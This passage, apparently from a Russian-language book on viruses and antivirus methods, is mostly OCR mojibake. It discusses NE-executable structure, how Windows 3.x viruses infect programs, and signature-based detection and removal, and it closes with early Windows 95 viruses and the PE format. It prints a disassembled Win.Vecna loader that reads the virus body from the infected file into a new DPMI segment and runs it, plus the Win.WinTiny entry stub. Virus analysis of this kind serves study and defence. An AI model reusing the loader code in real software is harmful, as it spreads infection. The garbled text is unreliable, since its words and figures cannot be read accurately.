Bo3MOo:KHBI cireyTolIIe THITHI CCBIIOK (TI0JIEe «NT_Stypes ):

2 — 16-pa3psHbII CEIEKTOP CETMEHTA,;

3 — 32-pa3ps/Hblil yKazaTeab BUIA «CETMEHT:CMEIIeHIEY;

5 — 16-paspsiiHoe CMelleHIe;

11 — 48-paspsaanbii ykazaTesab (He JOKyMEHTHPOBAHO);

13 — 32-paspsagHoe cMmenienne (He TOKYMEHTHPOBAHO).

®maru croticts (mose «nr_flags») nmeror caeayroree HazHaueHME:

0000

O 0 — BHYTpPEHHSISI CCBLIKA;

O 1 — cchuika Ha opdunan (TOPSAAKOBBIA HOMEP) MMIIOPTUPYEMOTO
00BEKTa;

Q 2 - ccbiTka Ha UMST HMITOPTHPYEMOTO 0OBEKT;

O 3 - floating point fixup;

O 4 — nobasisieMast CCBITKA.
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IepemeriaemMble CCHIIKM UTPAIOT OYEHD BAXKHYIO POJIb TIPH OpraHu3a-
[[UU MEKCETMEHTHBIX MIEPEXO/I0B, B TOM YUCJIE U TEX, KOTOPBIE MPOUCXO0-
JAT TIpU oOpallleHny K crucTeMHbIM cepBucaM. Obpaiienne K cepBrucam
MOZKET MPOUCXOUTH KaK 110 MOPSIIKOBOMY HOMePY (10 OPAMHANY) BbI-
3bpBaeMoil (hyHKIUHU B 6UbIMOTEKe, TaK 1 110 uMeHr. HacKoabKo MOKHO
CYZIUTD 110 pe3yJibraTaM uccyenoBanusi NE-1porpaMm, BXOJASIIHX B IHC-
tpubyTu Windows 3.X, B 9Tl onepanuoHHOI cucTeMe BTOPOil ¢r1ocob
WJIF COBCEM He MCIIOJIb3YETCSI, MU UCTIOJB3YETCsI KpallHe PEIKO’.

M3yunM npaBuiia MPUMEHEHUsI TIePEMEIIAEMbIX CCHLIIOK HA MpHUMe-
pe OpraHu3aluu KOMaHJ MEXCErMEHTHOTO mepexoja. [IoCcKoIbKy ab-
COJIIOTHBIN ajipec TOYKU TEPEX0/Ia CTAHOBUTCS U3BECTEH TOJBKO TOCJIE
3arpy3Ku MPOTPAMMBbI B IIAMSITh, TO KOJl KOMAH/[ «/[JIMHHOI» Iepefadn
yIIpaBJIeHUsT

db  OEAh ; JMP

dw 7?77 ; HeusBecTHoe cMeuweHve

dw 7?77 ; Hen3BeCTHbI cermeHT
n

db  09Ah ; CALL

dw 27?7 . HewnsBecTHoe cMeleHue

dw 7?77 ; HensBeCTHbI cermeHT

HYsKIaeTcsl B JONOJHUTEIBHOM HACTPOIKe — B IIpoIlecce 3arpysKu HeoO-
XOJIMMO TIOMECTUTh HA MECTO HEU3BECTHBIX CMENEHUI W CETMEHTOB KOH-
KpETHBIE YMCIOBbIe 3HaYeHus1. YToObI He pasayBaTh pasMepbl TaOIUIbI,
aBTopbl Windows permiy cOKOHOMUTH Ha ccblikax. Hampumep, eciu
B CErMeHTe MPUCYTCTBYIOT HECKOJBKO BBI30BOB OJIHOM U TOH Ke BHEITHEN
(pacrmosaratolieiicst B IpyroM cerMeHTe) MPOoIeAyPbl, TO B TabJIUIle NMe-
€TCST «CTPOKa» TOJIBKO JIJIsT OTTMCAHUS OJTHOW, CAaMOI TTEPBOH TaKOM CCHII-
ku. Ho 3aT0 cJT0BO cMeleHrs B 9TOI CChITTKE YKA3bIBAET HA CJIELYIONLYIO
CCBIJIKY, COOTBETCTBYIOIIYIO TO K€ BHENTHEH MPOoIeype, Ta, B CBOIO Oue-
pelb, — Ha CJIEAYIONIYIO... ¥ TaK Jiajiee, TIOKa B CJIOBE CMEIeHUs He BCTpe-
THUTCS TIPU3HAK KOHIIA 1erouku — ¢jioso OFFFFh:
.100F1 9AEB010000 call KERNEL.89 ; 9To dyHKkuma LSTRCAT

.101E7 9AFB010000 call KERNEL.89
.101FA 9AFFFFO000 call KERNEL.89 ; NOCNeAHAN CChika B LENnoYke

Takum 06pasoM, pu 3amycke nporpamMbl Windows 1o ogHOH «CTpo-
Ke» TabIUIbl eIMHBIM MaXOM HACTPAMBACT HECKOJBKO (MHOTAA OYeHb

1 3aro, BepoATHO, TOJOOHBIN KaTErOPUYHBIN BEIBOA He oTHOCHTCA K OS /2
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muoro!) ccouiok. Pazymeercs, eciu B haiisie IpUCyTCTBYET €IUHCTBEHHOE
obpaliieHue 110 KaKOU-TO BHEIIHE CCBIIKE, TO 3HAUEHUE CMEIEHUST CPasy
noJikH0 ObITh OFFFFh.

4.2.1.3. Tabauuvt onucanus umnopma

NE-uporpamma cogepxut (cMm. noje <«ne modtabs») crmcox umen
BHEIIHUX MOJyJieil (Hampumep, AMHAMUUYECKUX OMOJIMOTEK), UMEIOLIHii
caenyiomuii popmar:

rs_len db N ;N - anvHa cTpoku
rs_stringdb N dup (?) . N CMMBONOB CTPOKMK

Takke vMeeTcst BcromoraresibHas tabymia (cM. Tosie «<ne_imptabs ),
coziepkaiiasi 16-01ToOBbIE CMEIIEHUST ITUX UMEH OTHOCHUTEIHHO HAydasa
Ta0JUIBL. DTO CJIEJIAHO LIS yeCKopeHust paboThl 3arpy3unka NE-mporpamm
B MaMsATh. BBIMOJHsAST cBOIO paboTy, 3aTpy3urK CKaHUPyeT TabJInILy mepe-
MEIIAEMbIX CCBIJIOK, W eCJi OOHAPYKUBAET 3aMVCh, CCHLIAIONIYIOCS Ha
KaKOW-TnO0 BHEITHUH 0OBEKT, TO N3BIEKAET M3 Hee NHIEKC MO, CO-
TEPIKAIIETO ITOT OOBEKT, IO MHAEKCY CPa3y HAXOAUT B TAOJIHUIIE OTIMCAHIST
nmrnopra koHkpetHoe ums (Hanpumep, «KERNEL») 1 o nopsiikoBomy
HoMmepy (10 OPJMHAIY ) 3TOTO OOBEKTA B ATOM MOJLYJIE TOMEIIAET B HYK-
HYIO SYeiKy MaMsITi HY>KHBIN ajipec.

4.2.2. Opranusauusa eupycos gna Windows 3X

BBuay cBoeil Maso4KCIeHHOCTH MOYTH Bee BUpychl mast Windows 3X
B YEeM-TO OPUTMHAJIBHBI M, KAK MPABUIIO, COAEPKAT OCOOEHHOCTH, OTJIH-
JakolIye X ot «copoanyeii». Ho u kakue-To o6Iine 4epThl B HUX, KOHEY-
HO, HaOJIIOJAI0TCAL.

ITpesxe Bcero OOJBIIMHCTBO TAKUX BUPYCOB (HO He Beel) I BBIIOJI-
Henust (hailtoBbIxX oreparuii obparaiorcst He k Win API, a k cepBucam
MS-DOS (nipepbiBanue 21h).

Jlpyrast o61mas 4epra 3aKJII09aeTcsl B TOM, YTO BUPYCHI, KaK TPABUIIO,
CUJTBHO CTECHEHBI B MPOCTPAHCTBE IO/ CBOM BPEMEHHbBIE TEPEMEHHBIE.
TouHee, UM KpaiiHe HeXKeJIaTeThHO UCTIOIb30BATh CETMEHT JIAHHBIX 3apa-
sKaeMoii iporpaMmbl. [ToatoMy onu 60 pasMerialoT CBOU BPeMeHHbIE
JIaHHbIE B CTEKe, JINOO BHIJEJSIIOT JIJIsI CBOUX CJYKEOHBIX HYK/[ B CUCTEM-
HOI MaMATH CIIEIUATIBHBINA CErMeHT, MOJIb3YACh /Il 9TOr0 CepBUCaMU
DPMI (npepeiBanue 31h).

Haxomerr, mosyuenve ypasieHust OGBIYHO TIPOM3BOAUTCSA KOPPEKIIU-
eit sHaueHus 32-61uToBoro MOJIA «ne_csip» B NE-3arosioske. 3to moJie co-
CTOUT W3 JIBYX HE3aBUCHUMBIX 16-OMTOBBIX (hparMEHTOB: B OJHOM U3 HUX
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XpaHUTCS MHEKC (MOPSIIKOBBIA HOMEp B TaOJIUIIE CETMEHTOB) TPOrPaMM-
HOU CEKIUU, COOTBETCTBYIOIIEH KOJJOBOMY CEIMEHTY, a B IPYTOM — CMe-
IIeHUE TOYKHU BXOJIa BHYTPHU TOTO cermeHTa. Takum o6pasoM, «Iporpam-
Ma-MUHUMYM» 110 00€3BPEKUBAHUIO BUPYCA CBOJUTCS K BOCCTAHOBJIEHHUIO
MIPESKHETr0 3HAUYEHUS HTOTO T0JIA.

OHuM U3 11epBhIX (2 MOKET ObITb, ¥ CAMBIM HEPBBIM) BHUPYCOM JLJISI
Windows 3X moxuo cunrats Win. Vir_1_4, cospannsiii eme B 1992 roxy
HekuM sxutesnem losumangun no umenn Macyn Kagup. 1o coBpementbim
MOHSITUSIM, 3TO OBLT <HEJIOBUPYC», TAK KaK BHEAPSATHCS B (haila u mepe-
XBaTBIBATh yIIPABJICHUE OH yiKe YMeJI, 2 BO3BPAIATh YIIPABJICHUE <KEPT-
Be» — eie Het. [1oaTOMy BUPYC MpH 3alycKe ObICTPEHBKO BBITOJIHSLI
CBOU «HEXOPOIINe» JeHCcTBUs, 3aTeM yaassii cebst 3 (daila «KepTBbi»
... IPOCTO THXO 3aBepinascs. Koria ske y/MBIeHHBIN U 06eCIIOKOEHHBII
MI0JIb30BATEJIb ITBITAJICS TOBTOPHO 3AIIYCTUTD «HETOCIYIITHYIO» TPOrPaM-
My, Ta BIIOJIHE HOPMAJIbHO MCIIOJHSAIACH, BE/lb BUPYCA-TO B HEl yiKe He
OBLIO.

«HopmasbHblies BUPYCHI MOSIBUJIUCH HECKOJIBKO T1033ke. Paccmorpum
HEKOTOpbIE U3 HUX.

"3popoean”
nporpamma

Mporpamma, 3apa-
HEHHanA BUpYyCOM
Win.AEP

Mporpamma, 3apa-
HEHHanA BUPYCOM
Win.Tiny

Mporpamma, 3apa-
HEHHAA BMPYCOM
Win.Vecna

DOS-3aronoBok

DOS-3aronoBok

DOS-3aronoeok

DOS-3aronoBok

DOS-zarnywka

DOS-3arnywka

DOS-3arnywka

DOS-3arnywka

Windows-3aronosok

Windows-zaronoeok

Windows-3aronoBeox]

Windows-3aronoeox

(yBENWYEHHBIA)
Cexuumna 1 Cekumna 1 Cekums 1 Cexumsi 1
|
Cekumna kona Cekuma kopga Cekuns koaa CBKEM Koga |
Bupyc RS
Cekuna N Cekuns N Pa—
Cexums N Cekums supyca Bupyc

Puc. 4.9 « MNpuHumnel 3apaxeHus NE-nporpamm

Bupycsr cemeiicrea Win.AEP (usBectHbie Takske kak Win. Vik) BHes-
psiich B NE-miporpaMMy I0CTaTOYHO CJIOKHBIM 00Pa30M: OHU C/IBUTAJIN
BCE CEKIIMH, PACIIOJIOKEHHbBIE TOCIe CEKIUU KOJIOBOTO CETMEHTa, B Ha-
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MpaBJICHUM K KOHILY (haiiia, pacumpsijii CeKIMI0 KOJIOBOTO CETMEHTA 32
cuer 06pazoBaBIIerocst MPOCTPAHCTBA U pasMeriaiu taM cBoil koa. Co-
OTBETCTBEHHO, TIPU 3TOM TIPUXOJMIOCH TIEPECUNTHIBATD 3HAYEHUS TTOYTH
Becex nosieit NE-3arososka u Beex ciyskeOHbx Tabsui. [10CKOAbKY BU-
pyc pacroJiaraicsi B 001eM ¢ IPOrpaMMOi KOJIOBOM CErMEHTE, TO Iepe-
Jlaya yIpaBJeHUs] «KePTBE» BBIOJHAIACH AJIEMEHTAPHO — IIPU TTOMOIIN
KOMAaH/Ibl BHYTPUCETMEHTHOTO <] MP».

Kosneknnonusiii Bupyc Win.Vecna (ou ke Win.Bonk) mos3oBasicst
TeM 00CTOSITEILCTBOM, YTO PAa3MePhI BCEX CEKITMiT BHIPABHEHBI HA JIIUHY
JIOTHYECKOTO CEKTOpa — OHA KOJUPYETCsI B MoJie «ne_aligny» 3arosioBka u
00b14HO cocTaBigeT 512 6aitT. Eciiv B KOHIIE KOIOBOI CEKIIMU OCTAaBaJIOCh
1o Kpaiitneii Mmepe 152 HercI10Jb30BaHHbBIX OaiiTa, BUPYC HOMENIAI B 9TO
MPOCTPAHCTBO «3arpy3ynK», a caM IPUIUCHIBAJICS K KOHILY (aiiia. [To-
JIYYUB yIIpaBJeHue, 3arpy34nK co3jaBajl pu momoIu cepsruco DPMI
B TIAMSATH HOBBIN CEIMEHT, CYMTBIBAT B HETO OCHOBHOE TEJIO BUpyca H,
HaKOHell, Tlepe/laBajl Ty/la yipaBjeHue. BoT JIMCTUHT «3arpy3unKas, je-
MOHCTPUPYIOLIMIA IIpueMbl paboThl ¢ naMaAThio (dyepes DPMI-cepBucsr)
u ¢ aitmamu (cpeactBamu MS-DOS), xapaktepHbie He TOJMBKO 17151 Win.
Vecna, HO 1 /17151 IPYTUX BUPYCOB:

0F72 pusha

0F73 mov ax, ‘B0’ ;. llaponb

0F76 int 21h

0F78 cmp ax, 'NK' . [lpoBepka 0T3biBa
0F78B jz  loc_F85 ; Bupyc yxe B namatw
OF7D push ds

OF7E push es

OF7F push cs

0F80 call sub_F92

0F83 loc_F83:

0F83 pop es

0F84 pop ds

0F85 loc_F85

0F85 popa

0F86 push 000Ch ; Aopec cTapoi To4ku BX0Aa
0F89 retn ; BoaBpaT ynpaBnexHus xepTse
0F8A loc_FB8A:

0F8A add sp, 2

0F8D loc_F8D

OF8D add sp, OAh

0F90 jmp short loc_F83

0F92 sub_F92:

0F92 mov ax, 501h ; CepBuc "BbAenuTbL 6M0K namaTn”
0F95 mov c¢x, 138Eh . Mnagwee cnoso pasmepa 6s0ka
0F98 Xor bx, bx . CTapwee cnoso pasmepa 6s0ka
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OF9A
0F98B
0F9C
0F9D
OF9E
OFAO
OFA2
OFA3
OFA4
OFAG
OFA9
OFAB
OFAD
0FBO
OFB1
0FB2
OFB4
OFB7
OFB8
0FB9
OFBB
OFBE
OFC1
OFC3
OFC4
OFC5
0FC6
0FC9
OFCA
OFCB
OFCE
0FDO
OFD1
0FD2
OFD5
0FD6
0FD8
0FD9

OFE9
OFE9
OFEB
OFEC
OFEF
OFF1
OFF3
OFF4
OFF7
OFFA
OFFD

push
push
push
push
int
jb
push
push
sub
mov
int
mov
mov
pop
pop
int
mov
pop
pop
int
mov
mov
int
pop
pop
push
push
push
push
mov
int
pop
pop
mov
xchg
int
push
call
db
loc_FE9:
pop

mov
int
jb
xchg
mov
mov
mov
int

31h

31h

cx, OFFh
31h

dx

CX

bx

30Ah

dx

cX

ax, OAh
31h

cX

dx

bx, 8
ax, bx
31h

bx

BeinonHnTe DPMI-cepsuc

CepBUC "cO3AaTb NOKaNbHHE AECKPUNTOPS "
KonuyecTBo AeCKpUNTOPOB

BX := cenekTop peckpuntopa

Cepsuc "ycTaHOBUTH 0ady cermeHta”

lpn BO3BpaTE BX := cenexkTop

CepBuC "yCTaHOBUTb AUMAT cermeHTa”
Mnapwee CNoBO nuMWTa CErMEHTa
CTapuwee CNOBO NuMKWTa CerMeHTa

CepBUC "yCTaHOBMTL npaBa A0CTyna K CerMeHTy”
Bce BO3MOXHbE dnaru focTyna

Anpec B cerMeHTe Ans nepefaqu ynpasieHus

CepBuc "ckonupoBaTb feckpuntop™, AX = konus

CepBuC "yCTaHOBUTb AUMAT cermeHTa”

near ptr loc_FE9
"FILENAME.EXE',0 ; Mg 3apaxeHHoro daina

dx
ds

ax, 3D00h

21h
loc_F8D
ax, bx

ax, 4202h
cx, OFFFFh
dx, OFCCOh

21h

OTKPLITH 3apaxeHHuln darn

; llepemMecTUTbCA Ha KOA BMPYCHOrO “"xBoCTa'
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OFFF mov ah, 3Fh ; YnTaTb KO4 BMpYyCa B HOBHIA CErMEHT
1001 pop ds

1002 xor dx, dx

1004 mov c¢x, 340h ; OnuHa BUpycHoro “"xsocTta”

1007 int 21h

1009 retf ; BbINONMHWTL nepexon B HOBBIW CErMeHT

Cawmblii mpocToii Meton 3apaskenusi NE-miporpaMm ObLI MCIIOJIb30BaH
B BUpyce Win.WinTiny. 3toT Bupyc co3nasa B (haiisie 10MOJHUTETHHYIO
CEKITHIO C XapaKTePUCTUKAMU KOZOBOTO CEIMEHTA U pa3Melasl B Hell CBOM
koz. [Ipu aToM mpuUXOAMIOCH H0OABIATH K TabOJIHUIlE CETMEHTOB HOBYIO
«CTPOKY». ABTOp BUpPYCa MOCTYITIJI OPUTHHAILHO, PACITUPSIA 9Ty Tabiu-
Iy He «BHU3» (YTO MOBJIEKIO ObI 32 cOGON HEOOXOAUMOCTH CBUTATH 1
MEPECYUTHIBATH BCE OCTAJNBHbIE CITYsKeOHBIE MO U TAOJIUIIbL), & B CTO-
poHy Hauasa (aiijia, MCIO0JIb30BAB AJIA PACIIUPEHMs HeOOIbIION <0 T>
mesxay NE-3arosoBkoM u HayasoM Tabuuibl. «JIrodT> 06pasoBbiBaics
3a CYeT TOTO, UTO «BepXHsid nojoBuHa» NE-3aronoBka (BKJouast curHa-
Typy «NE» 1 HEeKoTOpbIe 10JI1) MCKYCCTBEHHO CIBUTATACH BUPYCOM Ha
8 GaiiToB B cTOpoHY MZ-3arosioBKa, B 00JacTh, HpuHaaiexaiyio DOS-
3arIyIIKe.

4.2.3. AHanu3 KOHKPETHOro Bupyca u paspaboTka
AHTUBUPYCHbIX Npoueayp

[Tycth 06BEKTOM /I HAIIUX 9KCIEPUMEHTOB MOCAYKUT BUpyc Win.
WinTiny.b. Ananus Bupyca HeoOXOMUMO HAYMHATH C COJAEPKUMOTO T10-
seii NE-3arosioBka, pacrnoJsio;keHHOro B (haiijie 1Mo <«HecTaHJapTHOMY>
cMmetenuio 88h:
QO konumyecTBO cerMeHTOB B (daiise — 3;
O ne_segtab=40h, crezoBarenbHo, TabamIa CErMEeHTOB B (aiie pac-
nosraraetcst o cMmeriennio 88h+40h=C8h;
O ne_csip=30000h, cremoBaresbHO, TOYKA BXOJA pacIoJaraercs
B 3-M cerMenTe 1o cMmetennio 0;
O ne_align=9, cienoBatebHo, JJIMHA JOTHYECKOTO CEKTOPA pPaBHA
512 6aiiTos.
Barisrem Takske Ha TabIMILy CErMEHTOR:
O cermenT 1 — COAEPKUT KO TIPOTPAMMBI, HAUIHAETCS C JIOTUYECKOTO
cexropa 1 u umeer giauny 7CCh 6aiiTos;
O cermeHT 2 — COZIEPIKUT JJAHHBIE TPOrPAMMBI, HAUNHAETCS C JIOTHYe-
cKOro cextopa 6 u umeer anuny 274h Gaiira;
O cerMeHT 3 — COZEPKUT KOJI BUPYCA, HAUNHAETCSI C IOTHYECKOTO CEK-
topa 0Ch n nmeer pmury 2DBh Gaiiros.
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Paccunraem nosioskenre TOYKM BXO/IA B 3aPAKEHHYIO ITPOrpaMMy: BU-
PyCHBII cermMeHT B (haiise pacrosozxet 1o agpecy 0Ch*512=1800h, a cme-
eHue 1epBoii BUpycHoi koman/bl paBHO (. VIMeHHO TaMm 1 pacioyioskeH
CTapTOBBII (hparMeHT BUPYCA, BOT OH:

30000: 9C pushf

30001: 60 pusha

30002: 1E push ds

30003: 06 push es

30004: B88616 mov ax, 01686 ; lOCTYNHL M CEPBUCH
30007: CD2F int 02F ; DPMI ?

30009: 0BCO or ax, ax

3000B: 7409 je .000030016 ; MpogonxuTb paboTy BUpyca
3000D: 07 pop es

3000E: 1F pop ds

3000F: 61 popa

30010: 9D popf

30011: EAOOOOFFFF jmp OFFFF: 00000 ; BosBpaT ynpaBnenus “xepTee”
30016:

IT0T (hparMeHT CHAOAUT HAc GallTaMu JIJIsT CUTHATYPBI, ¥ MyCTh B Hee
BoiiayT nepsbie 10 6aiiToB parMeHTa.

Ecit mocMoTperh 0GBEKTUBHO, TO 3TO — He JIydIInuil BBIOOP, IO Kpali-
Hell Mepe JIJIsT <KOMMePUYecKoro» aHTUBHUpyca. Jles1o B TOM, YTO MCXOIHBIN
TEKCT PAcCMaTPUBAEMOTO BUPyca ObLI TEPBOHAYAIBHO OMYOIMKOBAH
B aBCTPAJIUIICKOM BUPYCONUCATENBCKOM JIEKTPOHHOM KypHase «Vlad»,
a To3Ke OBLT BOCIIPOU3BEIEH B HEKOTOPBIX MEYATHBIX M3/IaHUsIX. Besnka
BEPOSAITHOCTD, UTO €CJIN KaKOH-HUOY/b He 0COOEHHO TPYIOMIOOUBBIN Ta-
KOCTHHMK BO3BMET 9TOT TEKCT B KaUeCTBE OCHOBBI [IJIs1 CBOETO «OIIyCay, TO
HavasbHble (parMeHThI «OIyca» W OpUrrHaia OyayT COBMaiaTh. TeM He
MeHee JIJIE Hac 3TO He MPUHIUITNATBHO, TI09TOMY B KauecTBe CUTHATYPBI
npumem: «9C 60 1E 06 B8 86 16 CD 2F 0B».

Takoke, aHasnusupys hparMeHT, MOKHO IIPUNTH K BBIBO/LY, UTO B BUpYyCe
B JlasibHeIIeM TIaHUpyeTcst paboTa ¢ mamMsaThio cpeacTsamu DPMI.

Wtak, mocsie MOBEPXHOCTHOTO B3TJISIZIA HA MPUBEIACHHBIN (hparMeHT
3arajikoil OCTAETCS JIUIITh OJ[HA MOAPOOHOCTD: AJPEC MEPEXo/[a Ha OPUTH-
HaJIbHBIN KOl «KepTBbI». [To hopmaty komaner « ] MP» MosxHO 3aKTI0-
YHUTh TOJBKO, YTO ITOT ajpec OYAET MOMEIIEH Ha CBOE 3aKOHHOE MECTO B
MpoIlecce 3arpys3Ku MPOTPAMMBI B MAMSITh, U B3sT OyJET 9TOT aJpec U3
TaOJIUIBI TEPEMEIAEMBIX CCBITIOK. 3arjisTHEM B «XBOCT» BUPYCHOTO Cer-
MeHTa, I 9Toro 1o (aitnosomy aapecy 1800h+2DBh=1ADBh npoun-
taeM 16-6uToBOE CJIOBO €O 3HAUeHEeM 1 (3TO KOJIMYECTBO MepeMeIaeMbiX
CCBIJIOK B CETMEHTE) U, HAKOHEII, CAMY CCBIJIKY:

Q nr_stype=3, cieoBaTesbHO, CCHLIKA MPEACTABAAET COOON Tapy

BU/Ia {CErMEHT:CMENIeHNeE};
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O nr_flags=04 — npusHax «100aBIIEMOiT» CCHLIKH;

O nr_soff=12h — nosokeHme CCbIIKKA B CETMEHTE;

O nr_segno=1, cjemoBaresbHO, 9TO CChLIKAa Ha KOIOBBIH CErMEHT
IPOrPaMMBbI;

O nr_entry=0 — cMelieHue B KOJIOBOM CErMeHTe, Ky/la HallpaBJieHa
CCBIJIKA.

Taxm 06pas3oM, TIOCIe 3aTPY3KH B MTaMsATh KoMaHaa «J MP» Gyzer cenr-
Jatbes Ha cMenienue 0 B cermente 1 (TO €CTb B KOJIOBOM CErMEHTE I1PO-
rpaMMbl).

IMo-npeskHEeMy Gy/IeM CIUTATD, UTO CIIPABUTHCSI C BUPYCOM IIOMOTYT JIBE
nporeaypbr: infected() — ayst mpoBepku (haiiia Ha «3apasHOCTh», cure() —
JUIST ylasieHus Bupyca us aiia.

[IepBas us npolienyp A0KHA CIeATh IIPUMEPHO TO Ke, YTO MBI TOJIbKO
YTO BBIIOJTHUJIM CAMOCTOSTENBHO, a MMEHHO MTPOAHATTU3UPOBATH CONEP-
skumoe NE-3arooBka, HallTH TOYKY BX0/la B 3aPsKEHHYIO POTpaMMy U
IIPOBEPUTH HAJTMYNE CUTHATYPBIL.

Bropas npoienypa MoskeT ObITh peajn3oBaHa 1o-pasHomy. B mpocreii-
IeM cJydae OHa MOJKET TPOCTo 3a6uTh 3HadeHneM 90h (aTo Ko KoMaH b1
«NOP») 17 GaiitoB, HaunHast OT TEPBOTO OaiiTa BUPyca U M0 KOMAHJIbI
«JMP>». UyTb-uyTh G0JI€e «IIPOABUHYTOE» JIUEHUE 3AK/II0UYAETCS B TOM,
4ro6bI BoccTanoBuTh B NE-3aro/ioBke mpaBuibHOE 3HAYEHIE TIOJISI, OITH-
chIBafoIIiee TOJI0KEeHe TOUKY BXo1a. Hakonelr, «mporpaMMa-MakCuMyM»
3aKJII0YAETCS B TOM, YTOOBI AKKYPATHO «JIHKBUANPOBATH> BCE N3MEHEHS,
MIPUBHECEHHbBIE BUPYCOM B TIPOTPAMMHBIN (hailsl, — yAaJiuTh BUPYCHBIN
CErMEHT, CKOPPEKTHPOBATD TaBJIMILYy CETMEHTOB, «CKaTh» 3aT0JIOBOK U T. ]I

[Ipumepst mipolieryp TpUBEIECHBI B TPUTOKEHIH.

4.3. Bupycbl ang 32-paspssHbIX Bepcui
Windows

.Onu Gvinu ewe u npexpacnot, smu uyoosuwa!
OHu ObLIU HACMOILKO CIMPAWHLL U OMEPAMHbL,
Umo npedcmasnsiiucy €60ez0 poda Co8epuleH-
cmeom. Cosepuencmaom 6e3o0pasusi.

A.m b. Crpyrankue. «BosHer racsar Betep»

[Iporpammusie daitrsl, umesnme PE-dopmar, mossuimcs yske B Havdase
90-x rozos Bmecte ¢ Windows NT, HO jo/rue rozbl 9Ta onepaluoHHas
cucreMa pupmbl Microsoft, ouenb goporast 1 pecypcoeMKkasi, Oblia mpak-
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TUYECKU HEJOCTYITHA MIUPOKOI KOMIIBIOTEPHOI obiecTBennocTh. «Ily-
TEBKY B kustb» PE-opmar mosyuns 6iarogapst mosiBJIEHHIO U PACIIPO-
crpanenuio B cepeante 90-x To0B ropasao GoJsee MPOCTOM, JeeBoil u
JIEMOKPATUYHON oriepaninonHoi cucreMbr Windows 95, Ha ararne paspa-
6oTKK 1 GeTa-TeCTUPOBAHNS U3BECTHOI Kak «1poekT Chicago».

Win9X.Boza (wiu Bizatch) — mnepsbiii Bupyc, 3apaxkaBiimii 1mpo-
rpamMmubie (aitier PE-cdopmata, mosBuiics depe3 HECKOJIBKO MeECSIIEB
nocJie Bbixoza oduimanbHoro pesmsa Windows 95. ABTopceTBo ero mpu-
HAJIJIEKUT YeJIOBeKY Mo 1po3Buily Quantum — ujieHy aBCTPaJUiCKON
BUPYCOIMCATEIBCKOM TPYIIIBI CO BIIOJIHE CIABSAHCKUM HAaMMEHOBAHUEM
«Vlad». Mcxomubiii TekeT Bupyca ObLI ONyOJMKOBAH B 3JEKTPOHHOM
JKypHaJie ¢ aHaJOrMYHbIM Ha3BaHueM. CKOMIUJIMPOBAHHbBIE BapUAHTHI
BUpYyCa M UCXOJHbIE TEKCTBI IEPBOHAYAIBLHO PACIPOCTPAHAINCH TOJIBKO
MeKly BUPYCONUCATENSIMU, U3 PYK B PYKH, HO BCKOPE CTaJIH JOCTYITHBI 1
supycosioram. CiieJlyet OTMETHTh, YTO BUPYC Pa3pabaThIiBAJICS C UCTIOJb-
3oBaHueM ocodeHHocTedl, mpucymmx Oera-sepcusam Windows 95, mosto-
MY B «/IMKOW IPUPOJIe» OH MPaKkTu4Yecku He BcTpevasica. Ho atoro ot Hero
u He TpebGoBasioch. OH J0Ka3al BO3MOKHOCTb CYIECTBOBAHUSI BUPYCOB
it 32-paspsanbix Beperii Windows, 10 TOro MoOMeHTa OTPUIIABIIYIOCS
cnenasvctamu. Bot kak mmpopearnpoBajia Ha (aKT CO3/[aHMs 9TOTO BU-
pyca 1pecca:

AUSTRALIAN computer hackers have brought computer giant Micro-
soft’s vaunted Windows 95 program to its virtual knees. (ABcTtpannii-
ckne xakepbl noctasuam Windows 95, pacxsannBaemyro KOMrbOTEP-
HbIM ruraHtom Microsoft, Ha BupTyasibHbI€ KOJIEHU. )

Bckope B «IMKyI0 IPUPO/Y» XJIbIHYJI IOTOK IPYTUX BUPYCOB, CO3/IaH-
HBIX JPYTHMU JIOABMU, HO 10 06pasy u mogobuio Win9X.Boza. Jnoxa
BUPYCOB, pacCUUTaHHbIX Ha 32- u 64-paspsanbie Bepcun Windows, Ha-
YaJIach M MPOJIOJIKAETCSI 110 Cell /IEHb.

Bcero Ha MOMeHT HaIlMcaHusi 3TUX CTPOK M3BECTHO 0K0JI0 2500 Takmx
«K0351BOK». Kazasmocs 6b1, HeMHOTO, Beab BUpYcoB i1t MS-DOS Bo MHOro
pas 6osbie. Ho Windows-Bupychl Topaszio cI0KHEH 10 cBOel opranu-
3aIUu, JJIsI UX HAUCAHUSI COBEPIIEHHO HEJIOCTATOYHO 3HAHUS JleCITKA-
Apyroro acceMbyepHbIX KoMaH I, [109TOMy GOJIBIIUHCTBO TAKUX BUPYCOB
CO3/IaHbI COBCEM HE HOBUYKAMU B IIporpaMmupoBanuu. K ux ycmayram noj-
POOHBIE «CIMPABOYHUKU», «YICOHUKI» U «TTIOCOOUST», KAKOBBIMU MOKHO
CUMTATh COAEPKUMOE DJIEKTPOHHBIX KypHanoB «Vlad», «29A» u «Xine»,
kbl crareit or Z0mbiE, Lord Julus u Billy Belcebu u muorue-muorue
IpyTHe MaTePUATIBI.



Bupychl AAg 32-pa3paaHbix Bepcu Windows < 229

Bupycsl miist 32- u 64-6utoBbix Beperii Windows — CJI0/KHbII, BayKHbII
U OYEHb MHTEPECHBII OOBEKT IS U3YUYEHHUSI.

4.3.1. dopmar ¢aiinos PE-nporpamm

Iror Gopmar ObL1 pazpaboran ¢pupmoit Microsoft ais 32-6urosbix Win-
dows-tiporpamm, a ocHoBoii st Hero nocayskuin COFF-gopmar ncron-
HsaeMbIX (aiiios, ucronbsyembiii 8 UNIX. On npumensercs B Windows
HE TOJIBKO [IJII MCHOJHUMBIX mporpamm (pactmpenue «EXE» wmm
«SCR»), HO u A quHAMuYecknx Gubmorek (pacupenue «.DLL»),
koMrioHeHToB Ilanesnn ynpasienns (paciuupenne «.CPLy) u HekoTOpbIX
JPYTUX OOBEKTOB.

[Iporpammer, ohopmiennsie B PE-dopmarte, Tpaguimonto mpegcras-
JISI0T CO6OM COBOKYITHOCTD JIBYX YaCTel, O/IHA U3 KOTOPBIX Mpe/IHa3Haye-
Ha JIJIs1 BBIBOJIA TIPELY TPEKAAIOIIETO COOOTIEH S TIPU MOTBITKE 3aITyCTUTh
takyo nporpammy B MS-DOS, a apyras mpezacrasiser coboil cob-
creerro Windows-tiporpammy [12]. Tlo-npexxuaemy mnpusnak Windows-
MPOrpaMMBI pactoJiaraeTcs B 3aroioBke DOS-1rporpaMMBbl 110 CMEIEHUT0
18h, a cepunka Ha cnenuduuecknit Windows-3aroioBok MokeT ObITh Haii-
neHa 110 daitiosomy cmernennio 3Ch.

CorznacHo upMeHHOil goKyMeHTauuu ot Microsoft, ator Windows-
3aT0JIOBOK pasfieJieH Ha HECKOJBKO 4YacTel, HEKOTOpPble M3 KOTOPBIX
